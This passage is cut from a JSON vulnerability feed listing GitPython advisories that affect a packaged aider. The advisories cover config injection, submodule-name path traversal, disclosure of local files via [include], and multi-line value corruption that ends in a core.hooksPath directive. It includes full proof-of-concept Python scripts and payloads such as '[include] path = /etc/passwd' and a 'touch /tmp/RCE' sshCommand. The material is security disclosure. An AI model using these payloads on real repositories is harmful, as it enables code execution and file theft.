x\\n\"` (config.py:702).\n4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `set_value('core','sshCommand = touch <RCE> #','x')` → no `ValueError`; file line `sshCommand = touch <RCE> # = x`; `git config --get core.sshCommand` → `touch <RCE>` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == \"section\"`; the `\"option\"` label is not covered.\n\n## Affected Versions\n`GitPython <= 3.1.57` (validator present verbatim on the latest release tag).\n\n## Suggested Fix\nApply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `\"option\"` label as well, or validate the fully-rendered config line after substitution.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76222","published":"2026-08-20T08:39:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-hmq2-w58f-27jc","CVE-2026-76222","PYSEC-2026-3784"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython","details":"### Summary\nGitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.\n\n### Details\n`src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule \"` / `\"` wrapper from a `.gitmodules` `[submodule \"...\"]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, \"modules\", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.\n\n### PoC\n1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as \"git 2.x\"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`.\n2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`).\n3. Commands run (quoted verbatim from the advisory's \"Confirmed test run\" section):\n```bash\n$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .\n$ docker run --rm ghsa-gitpython-poc\n```\n(Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.)\n4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim:\n```python\n\"\"\"GHSA-001 PoC: GitPython side.\n\nClones the attacker repo and runs the equivalent of\n`git submodule update --init` via GitPython, then checks whether a git\nrepository was created outside the clone directory.\n\"\"\"\nimport os\nimport shutil\n\nimport git\n\nCLONE_DIR = '/work/victim_clone/repo'\nESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'\n\n\ndef main():\n    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)\n    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)\n    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)\n\n    print(f'GitPython version: {git.__version__}')\n    repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)\n    print('Cloned into:', repo.working_tree_dir)\n\n    sms = list(repo.submodules)\n    for sm in sms:\n        print('  submodule name:', repr(sm.name))\n        print('  submodule path:', repr(sm.path))\n\n    print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))\n\n    for sm in sms:\n        try:\n            sm.update(init=True)\n        except Exception as e:\n            print('sm.update raised:', repr(e))\n\n    exists = os.path.exists(ESCAPE_TARGET)\n    print('escape_target exists after update:', exists)\n    if exists:\n        print('escape_target contents:', os.listdir(ESCAPE_TARGET))\n\n    print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')\n\n\nif __name__ == '__main__':\n    main()\n```\n5. Exact captured terminal output (verbatim, from the original advisory's \"Confirmed test run (Docker, released package)\" section):\n```\n=== GitPython PoC (vulnerable path) ===\nGitPython version: 3.1.57\nCloned into: /work/victim_clone/repo\n  submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'\n  submodule path: 'legit_dir'\nescape_target exists before update: False\nescape_target exists after update: True\nescape_target contents: ['modules_dir']\nPOC_RESULT=VULNERABLE\n\n=== Control: real git CLI on identical repo ===\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nfatal: No url found for submodule path 'legit_dir' in .gitmodules\nCONTROL_RESULT=SAFE (real git correctly refused)\n```\n6. Payload: the attacker rewrites the `.gitmodules` section header from `[submodule \"legit_dir\"]` to `[submodule \"../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\"]` (built by `build_attacker_repo.sh`, part of the harness in `GHSA/testing/`). The malicious part is the `../../../../../../` traversal sequence embedded in the submodule *name* (not the tree-validated `path`), which becomes the on-disk target for the submodule's separate git directory.\n7. Expected vs. observed: A safe implementation (as demonstrated by the real `git` CLI control run) rejects the submodule name with \"ignoring suspicious submodule name\" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at `/tmp/gitpython_poc_escaped_root/modules_dir`, confirmed by `escape_target exists after update: True` and its listed contents.\n8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) `url`.\n\n### Impact\nPath traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76222"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2202"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78675","published":"2026-09-04T08:43:32Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-7833-fr7j-v32q","CVE-2026-78675","PYSEC-2026-3785"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","details":"# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/<name>/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n   ```\n   [include]\n   \tpath = /etc/passwd\n   ```\n   (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret — `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`'s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`'s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities — exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` — one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` — `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` — `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`'s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) — absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) — raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`'s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` — `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No — that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`'s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` — an entirely different module and code path. This finding discloses actual file content via `git/config.py`'s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No — confirmed by reading `Submodule.iter_items()`'s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) — `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = <any local path>`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn't valid\ngit-config syntax (true of virtually any non-gitconfig file), Python's\n`configparser.MissingSectionHeaderError` embeds the file's first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n  PYTHONPATH=\"<repo>:<repo>/gitdb:<repo>/smmap\" python3 gitpython-003-poc.py <workdir> <target-file>\n\nBenign: reads only the given <target-file> (defaults to a throwaway secret file\ncreated under <workdir> if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) > 1 else \"/tmp/gitpython-003-poc\"\n    target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, \"secret.txt\")\n\n    attacker_repo = os.path.join(workdir, \"attacker-repo\")\n    dest = os.path.join(workdir, \"dest\")\n    for p in (attacker_repo, dest):\n        os.makedirs(p, exist_ok=True)\n\n    if not os.path.exists(target_file):\n        os.makedirs(os.path.dirname(target_file), exist_ok=True)\n        with open(target_file, \"w\") as f:\n            f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n    with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n        f.write(\"hello\\n\")\n\n    with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n        f.write(\n            '[submodule \"totally-normal-dep\"]\\n'\n            \"\\tpath = vendor/dep\\n\"\n            \"\\turl = https://example.com/dep.git\\n\"\n            \"[include]\\n\"\n            \"\\tpath = %s\\n\" % target_file\n        )\n\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n    import git  # gitpython under test\n    import configparser\n\n    repo = git.Repo.clone_from(attacker_repo, dest)\n\n    try:\n        subs = list(repo.submodules)\n        print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n        sys.exit(1)\n    except configparser.MissingSectionHeaderError as e:\n        msg = str(e)\n        print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n        print(msg)\n        with open(target_file) as f:\n            first_line = f.readline().rstrip(\"\\n\")\n        if first_line in msg:\n            print(\"Confirmed: target file's first line is present verbatim in the exception message.\")\n            sys.exit(0)\n        else:\n            print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n            sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78675"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2211"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78676","published":"2026-09-04T08:43:32Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-284h-m62q-gf8w","CVE-2026-78676","PYSEC-2026-3786"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","details":"- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython's own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `<anything>\\n<injected-key> = <injected-value>`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../<repo-tracked-file>`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S'replace(\"\\n\", \"\\n\\t\")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real 